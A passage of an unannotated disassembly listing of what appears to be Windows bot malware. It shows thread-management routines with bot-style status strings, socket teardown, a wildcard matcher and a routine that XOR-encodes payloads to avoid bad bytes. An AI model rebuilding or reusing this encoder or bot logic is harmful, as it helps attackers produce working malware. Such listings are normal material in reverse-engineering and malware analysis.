0Fh db 85h ; db 62h ; b db 1 db 0 db 0 db 53h ; S db 89h ; db 7Dh ; } db 0FCh ; db 89h ; db 7Dh ; } db 0ECh ; db 89h ; db 7Dh ; } db 0F4h ; ; --------------------------------------------------------------------------- loc_412E65: ; CODE XREF: .text:00412FA1j lea eax, [ebp-0Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-4] push eax lea eax, [ebp-8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_44CC38 cmp eax, edi mov [ebp-10h], eax jz short loc_412F02 cmp eax, 0EAh jz short loc_412F02 mov esi, offset off_4372A8 loc_412E96: ; CODE XREF: .text:00412EFBj push dword ptr [esi] push edi call sub_40B906 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_412EAD push offset dword_43740C jmp short loc_412EB2 ; --------------------------------------------------------------------------- loc_412EAD: ; CODE XREF: .text:00412EA4j push offset dword_4373D0 loc_412EB2: ; CODE XREF: .text:00412EABj lea eax, [ebp-114h] push 0FFh push eax call sub_413D8A add esp, 10h cmp [ebp+14h], edi jnz short loc_412EE5 push 1 lea eax, [ebp-114h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B2B5 add esp, 14h loc_412EE5: ; CODE XREF: .text:00412EC9j lea eax, [ebp-114h] push eax call sub_409833 add esi, 8 pop ecx cmp esi, offset off_4372C8 jl short loc_412E96 jmp loc_412F9A ; --------------------------------------------------------------------------- loc_412F02: ; CODE XREF: .text:00412E88j ; .text:00412E8Fj mov esi, [ebp-8] push 1 pop ebx cmp [ebp-4], ebx jb loc_412F91 loc_412F11: ; CODE XREF: .text:00412F8Dj mov edi, [esi] push edi call sub_4149E6 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_412F86 push edi call sub_40B7F3 push eax push 0 call sub_40B906 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_412F40 push offset dword_43739C jmp short loc_412F45 ; --------------------------------------------------------------------------- loc_412F40: ; CODE XREF: .text:00412F37j push offset dword_437360 loc_412F45: ; CODE XREF: .text:00412F3Ej lea eax, [ebp-114h] loc_412F4B: ; DATA XREF: .data:off_428B34o push 0FFh push eax call sub_413D8A add esp, 10h cmp dword ptr [ebp+14h], 0 jnz short loc_412F79 push 1 lea eax, [ebp-114h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B2B5 add esp, 14h loc_412F79: ; CODE XREF: .text:00412F5Dj lea eax, [ebp-114h] push eax call sub_409833 pop ecx loc_412F86: ; CODE XREF: .text:00412F20j add esi, 28h inc ebx cmp ebx, [ebp-4] jbe short loc_412F11 xor edi, edi loc_412F91: ; CODE XREF: .text:00412F0Bj push dword ptr [ebp-8] call dword_44CD68 loc_412F9A: ; CODE XREF: .text:00412EFDj cmp dword ptr [ebp-10h], 0EAh jz loc_412E65 lea eax, [ebp-114h] push offset dword_437328 push eax call sub_413812 pop ecx pop ecx pop ebx jmp short loc_412FD0 ; --------------------------------------------------------------------------- db 8Dh ; db 85h ; db 0ECh ; db 0FEh ; db 0FFh db 0FFh db 68h ; h db 0E8h ; db 72h ; r db 43h ; C db 0 db 50h ; P db 0E8h ; db 44h ; D db 8 db 0 db 0 db 59h ; Y db 59h ; Y ; --------------------------------------------------------------------------- loc_412FD0: ; CODE XREF: .text:00412FBBj cmp [ebp+14h], edi jnz short loc_412FEE push edi lea eax, [ebp-114h] push dword ptr [ebp+10h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_40B2B5 add esp, 14h loc_412FEE: ; CODE XREF: .text:00412FD3j lea eax, [ebp-114h] push eax call sub_409833 pop ecx push 1 pop eax pop edi pop esi leave retn ; --------------------------------------------------------------------------- off_413002 dd offset word_6A016A ; DATA XREF: sub_40C2D0+444o dd offset word_6A006A dw 0CFE8h dd 83FFFFFCh, 35FF10C4h, 4372A0h, 0F05015FFh, 0E2EB0041h ; =============== S U B R O U T I N E ======================================= sub_413020 proc near ; CODE XREF: sub_413040+Ap ; sub_413118+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_413E90 push [esp+8+arg_4] mov esi, eax call sub_413E90 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_413020 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413040 proc near ; CODE XREF: sub_41312F+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_413020 cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_41305D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_41305D: ; CODE XREF: sub_413040+17j push ebx push esi push edi push [ebp+arg_8] call sub_413E90 push [ebp+arg_C] mov esi, eax call sub_413E90 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_4376B8, eax lea eax, [edi+1] mov dword_4376D9, eax lea eax, [edi+17h] mov dword_4376D1, eax pop eax push 74h sub eax, edi push offset dword_437654 push ebx mov dword_4376E7, eax call sub_4138F0 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_4138F0 add esi, 74h push 5 push offset aGet_0 ; " get " lea eax, [esi+ebx] push eax call sub_4138F0 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_4138F0 add esi, edi push 10h push 4376CDh lea eax, [esi+ebx] push eax call sub_4138F0 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_4138F0 add esi, edi push 38h add esi, ebx push offset byte_4376DD push esi call sub_4138F0 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_413040 endp ; =============== S U B R O U T I N E ======================================= sub_413118 proc near ; CODE XREF: sub_41312F+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_413020 push eax call sub_41319C add esp, 0Ch retn sub_413118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41312F proc near ; CODE XREF: sub_403C2B+43p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_413118 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_41314F cmp eax, 0FFFFh jbe short loc_413153 loc_41314F: ; CODE XREF: sub_41312F+17j xor eax, eax jmp short loc_413198 ; --------------------------------------------------------------------------- loc_413153: ; CODE XREF: sub_41312F+1Ej push esi push edi push ebx call sub_413020 add eax, 101h push eax call sub_413F0B add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_413020 pop ecx pop ecx push eax push esi call sub_413040 push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_4131B7 push esi mov edi, eax call sub_413F7F add esp, 24h mov eax, edi pop esi loc_413198: ; CODE XREF: sub_41312F+22j pop edi pop ebx pop ebp retn sub_41312F endp ; =============== S U B R O U T I N E ======================================= sub_41319C proc near ; CODE XREF: sub_413118+Ep ; sub_4131B7+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4131A5 inc ecx loc_4131A5: ; CODE XREF: sub_41319C+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_41319C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131B7 proc near ; CODE XREF: sub_41312F+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_4131D3 cmp byte ptr [ebp+arg_C], 0Dh jz short loc_4131D3 cmp byte ptr [ebp+arg_C], 5Ch jz short loc_4131D3 cmp byte ptr [ebp+arg_C], 0 jnz short loc_4131D6 loc_4131D3: ; CODE XREF: sub_4131B7+8j ; sub_4131B7+Ej ... inc [ebp+arg_C] loc_4131D6: ; CODE XREF: sub_4131B7+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_4131FE mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_4131F7 cmp al, 0Dh jz short loc_4131F7 cmp al, 5Ch jz short loc_4131F7 test al, al jnz short loc_4131FE loc_4131F7: ; CODE XREF: sub_4131B7+32j ; sub_4131B7+36j ... add [ebp+arg_C], 100h loc_4131FE: ; CODE XREF: sub_4131B7+28j ; sub_4131B7+3Ej push [ebp+arg_C] call sub_41319C cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_413216 cmp eax, 0FFFFh jbe short loc_41321D loc_413216: ; CODE XREF: sub_4131B7+56j xor eax, eax jmp loc_4132BB ; --------------------------------------------------------------------------- loc_41321D: ; CODE XREF: sub_4131B7+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_7421FC xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_41324D loc_413231: ; CODE XREF: sub_4131B7+94j mov al, [edx+edi] xor al, bl jz short loc_413244 cmp al, 0Ah jz short loc_413244 cmp al, 0Dh jz short loc_413244 cmp al, 5Ch jnz short loc_413248 loc_413244: ; CODE XREF: sub_4131B7+7Fj ; sub_4131B7+83j ... inc bl xor edx, edx loc_413248: ; CODE XREF: sub_4131B7+8Bj inc edx cmp edx, ecx jb short loc_413231 loc_41324D: ; CODE XREF: sub_4131B7+78j cmp ecx, esi mov byte_7421FC, bl ja short loc_413279 push 15h push offset dword_43763C push [ebp+arg_0] mov byte_437649, cl mov byte_43764D, bl call sub_4138F0 add esp, 0Ch push 15h jmp short loc_41329A ; --------------------------------------------------------------------------- loc_413279: ; CODE XREF: sub_4131B7+9Ej push 17h push offset dword_437624 push [ebp+arg_0] mov word_437632, cx mov byte_437637, bl call sub_4138F0 add esp, 0Ch push 17h loc_41329A: ; CODE XREF: sub_4131B7+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_4132B6 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_4132A8: ; CODE XREF: sub_4131B7+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_4132A8 loc_4132B6: ; CODE XREF: sub_4131B7+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_4132BB: ; CODE XREF: sub_4131B7+61j pop esi leave retn sub_4131B7 endp ; =============== S U B R O U T I N E ======================================= sub_4132BE proc near ; CODE XREF: sub_404ECE+220p ; sub_406059+F0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_452028 loc_4132C6: ; CODE XREF: sub_4132BE+18j cmp byte ptr [eax], 0 jz short loc_4132DA add eax, 134h inc edi cmp eax, offset dword_741F68 jl short loc_4132C6 jmp short loc_413325 ; --------------------------------------------------------------------------- loc_4132DA: ; CODE XREF: sub_4132BE+Bj push esi mov esi, edi imul esi, 134h push 0FEh push [esp+0Ch+arg_0] lea eax, dword_452028[esi] push eax call sub_415140 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_452128[esi], eax and dword_45212C[esi], 0 mov eax, [esp+8+arg_8] and dword_452130[esi], 0 mov dword_452134[esi], eax and byte_452140[esi], 0 pop esi loc_413325: ; CODE XREF: sub_4132BE+1Aj mov eax, edi pop edi retn sub_4132BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413329 proc near ; DATA XREF: sub_40CC09+51ACo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd push [ebp+var_10] mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] call sub_41337B push [ebp+var_14] call sub_4135DA add esp, 14h push 0 call ds:off_41F040 pop edi pop esi sub_413329 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41337B proc near ; CODE XREF: sub_413329+38p var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 100h push esi push edi push 0 push [ebp+arg_8] push offset aThreadList ; "-[Thread List]-" push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 14h xor edi, edi mov esi, offset dword_452028 loc_4133A5: ; CODE XREF: sub_41337B+78j cmp byte ptr [esi], 0 jz short loc_4133E6 cmp [ebp+arg_C], 0 jnz short loc_4133B9 cmp dword ptr [esi+104h], 0 jnz short loc_4133E6 loc_4133B9: ; CODE XREF: sub_41337B+33j push esi push edi lea eax, [ebp+var_100] push offset aD_S ; "%d. %s" push eax call sub_413812 push 1 lea eax, [ebp+var_100] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 24h loc_4133E6: ; CODE XREF: sub_41337B+2Dj ; sub_41337B+3Cj add esi, 134h inc edi cmp esi, offset dword_741F68 jl short loc_4133A5 pop edi pop esi leave retn sub_41337B endp ; =============== S U B R O U T I N E ======================================= sub_4133F9 proc near ; CODE XREF: sub_40CC09+457Bp ; sub_413487+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_413481 cmp esi, 2710h jge short loc_413481 imul esi, 134h push edi push ebx push dword_45213C[esi] lea edi, dword_45213C[esi] call ds:off_41F130 cmp [edi], ebx jz short loc_413431 push 1 pop ebp loc_413431: ; CODE XREF: sub_4133F9+33j mov [edi], ebx lea edi, dword_452130[esi] mov dword_452128[esi], ebx mov dword_45212C[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_413452 push eax call sub_4126C5 pop ecx loc_413452: ; CODE XREF: sub_4133F9+50j mov [edi], ebx lea edi, dword_452134[esi] mov byte ptr dword_452028[esi], bl mov byte_452140[esi], bl push dword ptr [edi] call dword_44CD70 ; closesocket lea esi, dword_452138[esi] mov [edi], ebx push dword ptr [esi] call dword_44CD70 ; closesocket mov [esi], ebx pop edi loc_413481: ; CODE XREF: sub_4133F9+Dj ; sub_4133F9+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_4133F9 endp ; =============== S U B R O U T I N E ======================================= sub_413487 proc near ; CODE XREF: sub_408701:loc_408725p ; sub_40ACAF+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_452028 loc_413493: ; CODE XREF: sub_413487+2Aj cmp byte ptr [esi], 0 jz short loc_4134A4 push edi call sub_4133F9 test eax, eax pop ecx jz short loc_4134A4 inc ebx loc_4134A4: ; CODE XREF: sub_413487+Fj ; sub_413487+1Aj add esi, 134h inc edi cmp esi, offset dword_741F68 jl short loc_413493 pop edi mov eax, ebx pop esi pop ebx retn sub_413487 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4134B9 proc near ; CODE XREF: sub_40CC09+1BC6p ; sub_41354C+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_45212C loc_4134CD: ; CODE XREF: sub_4134B9+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_4134EF test edi, edi jle short loc_4134E1 cmp [esi], edi jz short loc_4134E1 cmp ebx, edi jnz short loc_4134EF loc_4134E1: ; CODE XREF: sub_4134B9+1Ej ; sub_4134B9+22j push ebx call sub_4133F9 test eax, eax pop ecx jz short loc_4134EF inc [ebp+var_4] loc_4134EF: ; CODE XREF: sub_4134B9+1Aj ; sub_4134B9+26j ... add esi, 134h inc ebx cmp esi, offset dword_74206C jl short loc_4134CD mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_4134B9 endp ; =============== S U B R O U T I N E ======================================= sub_413506 proc near ; CODE XREF: sub_405FE2+Bp ; sub_406059+2Dp ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_452128 loc_41350D: ; CODE XREF: sub_413506+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_413516 inc eax loc_413516: ; CODE XREF: sub_413506+Dj add ecx, 134h cmp ecx, offset dword_742068 jl short loc_41350D retn sub_413506 endp ; =============== S U B R O U T I N E ======================================= sub_413525 proc near ; CODE XREF: sub_40CC09+4C54p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_452128 loc_41352F: ; CODE XREF: sub_413525+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_413548 add ecx, 134h inc edx cmp ecx, offset dword_742068 jl short loc_41352F pop esi retn ; --------------------------------------------------------------------------- loc_413548: ; CODE XREF: sub_413525+10j mov eax, edx pop esi retn sub_413525 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41354C proc near ; CODE XREF: sub_40CC09+FE1p var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 100h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_413565 push [ebp+arg_1C] call sub_413D7F pop ecx loc_413565: ; CODE XREF: sub_41354C+Ej push eax push [ebp+arg_18] call sub_4134B9 pop ecx test eax, eax pop ecx jle short loc_413591 push eax lea eax, [ebp+var_100] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_413812 add esp, 14h jmp short loc_4135AB ; --------------------------------------------------------------------------- loc_413591: ; CODE XREF: sub_41354C+26j push [ebp+arg_14] lea eax, [ebp+var_100] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_413812 add esp, 10h loc_4135AB: ; CODE XREF: sub_41354C+43j cmp [ebp+arg_C], 0 jnz short loc_4135CB push 0 lea eax, [ebp+var_100] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B5 add esp, 14h loc_4135CB: ; CODE XREF: sub_41354C+63j lea eax, [ebp+var_100] push eax call sub_409833 pop ecx leave retn sub_41354C endp ; =============== S U B R O U T I N E ======================================= sub_4135DA proc near ; CODE XREF: sub_401000+A2p ; sub_401447+8Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 134h mov dword_45213C[eax], ecx mov dword_452128[eax], ecx mov dword_45212C[eax], ecx mov dword_452130[eax], ecx mov dword_452134[eax], ecx mov dword_452138[eax], ecx mov byte ptr dword_452028[eax], cl mov byte_452140[eax], cl retn sub_4135DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413617 proc near ; CODE XREF: sub_40ADCF+18Bp ; sub_40ADCF+1A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_413621: ; CODE XREF: sub_413617+68j mov cl, [esi] test cl, cl jz short loc_413681 cmp eax, 1 jnz short loc_413681 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_413681 cmp cl, 2Ah jz short loc_413668 cmp cl, 3Fh jz short loc_41364B cmp cl, 5Bh jz short loc_413650 xor eax, eax cmp cl, dl setz al loc_41364B: ; CODE XREF: sub_413617+26j inc [ebp+arg_4] jmp short loc_41367B ; --------------------------------------------------------------------------- loc_413650: ; CODE XREF: sub_413617+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_4136AD mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_41367B ; --------------------------------------------------------------------------- loc_413668: ; CODE XREF: sub_413617+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_413745 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_41367B: ; CODE XREF: sub_413617+37j ; sub_413617+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_413621 ; --------------------------------------------------------------------------- loc_413681: ; CODE XREF: sub_413617+Ej ; sub_413617+13j ... cmp byte ptr [esi], 2Ah jnz short loc_413691 cmp eax, 1 jnz short loc_4136A8 inc esi mov [ebp+arg_0], esi jmp short loc_413681 ; --------------------------------------------------------------------------- loc_413691: ; CODE XREF: sub_413617+6Dj cmp eax, 1 jnz short loc_4136A8 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_4136A8 cmp byte ptr [esi], 0 jnz short loc_4136A8 push 1 pop eax jmp short loc_4136AA ; --------------------------------------------------------------------------- loc_4136A8: ; CODE XREF: sub_413617+72j ; sub_413617+7Dj ... xor eax, eax loc_4136AA: ; CODE XREF: sub_413617+8Fj pop esi pop ebp retn sub_413617 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136AD proc near ; CODE XREF: sub_413617+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_4136CE inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_4136CE: ; CODE XREF: sub_4136AD+19j push ebx push esi loc_4136D0: ; CODE XREF: sub_4136AD+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_4136DE cmp [ebp+var_4], eax jnz short loc_41372A loc_4136DE: ; CODE XREF: sub_4136AD+2Aj test edi, edi jnz short loc_41371F cmp bl, 2Dh jnz short loc_413713 mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_413713 cmp al, 5Dh jz short loc_413713 cmp [ebp+var_4], edi jnz short loc_413713 mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_41371F cmp bl, al jg short loc_41371F push 1 mov [edx], esi pop edi jmp short loc_41371F ; --------------------------------------------------------------------------- loc_413713: ; CODE XREF: sub_4136AD+38j ; sub_4136AD+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_41371F push 1 pop edi loc_41371F: ; CODE XREF: sub_4136AD+33j ; sub_4136AD+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_4136D0 ; --------------------------------------------------------------------------- loc_41372A: ; CODE XREF: sub_4136AD+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_413737 mov ecx, eax sub ecx, edi mov edi, ecx loc_413737: ; CODE XREF: sub_4136AD+82j cmp edi, eax jnz short loc_413740 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_413740: ; CODE XREF: sub_4136AD+8Cj mov eax, edi pop edi leave retn sub_4136AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413745 proc near ; CODE XREF: sub_413617+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_413761: ; CODE XREF: sub_413745+3Aj cmp [eax], bl jz short loc_413781 mov cl, [ecx] cmp cl, 3Fh jz short loc_413776 cmp cl, 2Ah jnz short loc_413781 cmp cl, 3Fh jnz short loc_413779 loc_413776: ; CODE XREF: sub_413745+25j inc eax mov [edi], eax loc_413779: ; CODE XREF: sub_413745+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_413761 ; --------------------------------------------------------------------------- loc_413781: ; CODE XREF: sub_413745+1Ej ; sub_413745+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_41378C inc dword ptr [esi] jmp short loc_413781 ; --------------------------------------------------------------------------- loc_41378C: ; CODE XREF: sub_413745+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_4137AD mov edx, [esi] cmp [edx], bl jz short loc_41379E xor eax, eax jmp short loc_41380D ; --------------------------------------------------------------------------- loc_41379E: ; CODE XREF: sub_413745+53j cmp cl, bl jnz short loc_4137AD mov ecx, [esi] cmp [ecx], bl jnz short loc_4137AD push 1 pop eax jmp short loc_41380D ; --------------------------------------------------------------------------- loc_4137AD: ; CODE XREF: sub_413745+4Dj ; sub_413745+5Bj ... push eax push dword ptr [esi] call sub_413617 pop ecx test eax, eax pop ecx jnz short loc_4137F7 loc_4137BB: ; CODE XREF: sub_413745+B0j inc dword ptr [edi] mov eax, [edi] loc_4137BF: ; CODE XREF: sub_413745+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_4137D7 cmp cl, 5Bh jz short loc_4137D7 cmp dl, bl jz short loc_4137D7 inc eax mov [edi], eax jmp short loc_4137BF ; --------------------------------------------------------------------------- loc_4137D7: ; CODE XREF: sub_413745+82j ; sub_413745+87j ... mov eax, [edi] cmp [eax], bl jz short loc_4137EE push eax push dword ptr [esi] call sub_413617 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4137F3 ; --------------------------------------------------------------------------- loc_4137EE: ; CODE XREF: sub_413745+96j mov [ebp+var_4], ebx xor eax, eax loc_4137F3: ; CODE XREF: sub_413745+A7j cmp eax, ebx jnz short loc_4137BB loc_4137F7: ; CODE XREF: sub_413745+74j mov eax, [edi] cmp [eax], bl jnz short loc_41380A mov eax, [esi] cmp [eax], bl jnz short loc_41380A mov [ebp+var_4], 1 loc_41380A: ; CODE XREF: sub_413745+B6j ; sub_413745+BCj mov eax, [ebp+var_4] loc_41380D: ; CODE XREF: sub_413745+57j ; sub_413745+66j pop edi pop esi pop ebx leave retn sub_413745 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413812 proc near ; CODE XREF: sub_401000+61p ; sub_4010B2+308p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_416065 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_413852 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41385F ; --------------------------------------------------------------------------- loc_413852: ; CODE XREF: sub_413812+36j lea eax, [ebp+var_20] push eax push 0 call sub_415F50 pop ecx pop ecx loc_41385F: ; CODE XREF: sub_413812+3Ej mov eax, esi pop esi leave retn sub_413812 endp ; =============== S U B R O U T I N E ======================================= sub_413864 proc near ; CODE XREF: sub_401000+2Ep ; sub_401BD7+46p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_437768, eax retn sub_413864 endp ; =============== S U B R O U T I N E ======================================= sub_41386E proc near ; CODE XREF: sub_4010B2+CBp ; sub_4010B2+13Fp ... mov eax, dword_437768 imul eax, 343FDh add eax, 269EC3h mov dword_437768, eax sar eax, 10h and eax, 7FFFh retn sub_41386E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_413890 proc near ; CODE XREF: sub_4010B2+281p ; sub_401447+181p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4138E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4138D7 neg ecx and ecx, 3 jz short loc_4138B9 sub edx, ecx loc_4138B3: ; CODE XREF: sub_413890+27j mov [edi], al inc edi dec ecx jnz short loc_4138B3 loc_4138B9: ; CODE XREF: sub_413890+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4138D7 rep stosd test edx, edx jz short loc_4138DD loc_4138D7: ; CODE XREF: sub_413890+18j ; sub_413890+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4138D7 loc_4138DD: ; CODE XREF: sub_413890+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4138E3: ; CODE XREF: sub_413890+Aj mov eax, [esp+arg_0] retn sub_413890 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4138F0 proc near ; CODE XREF: sub_4010B2+22Dp ; sub_4010B2+23Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, 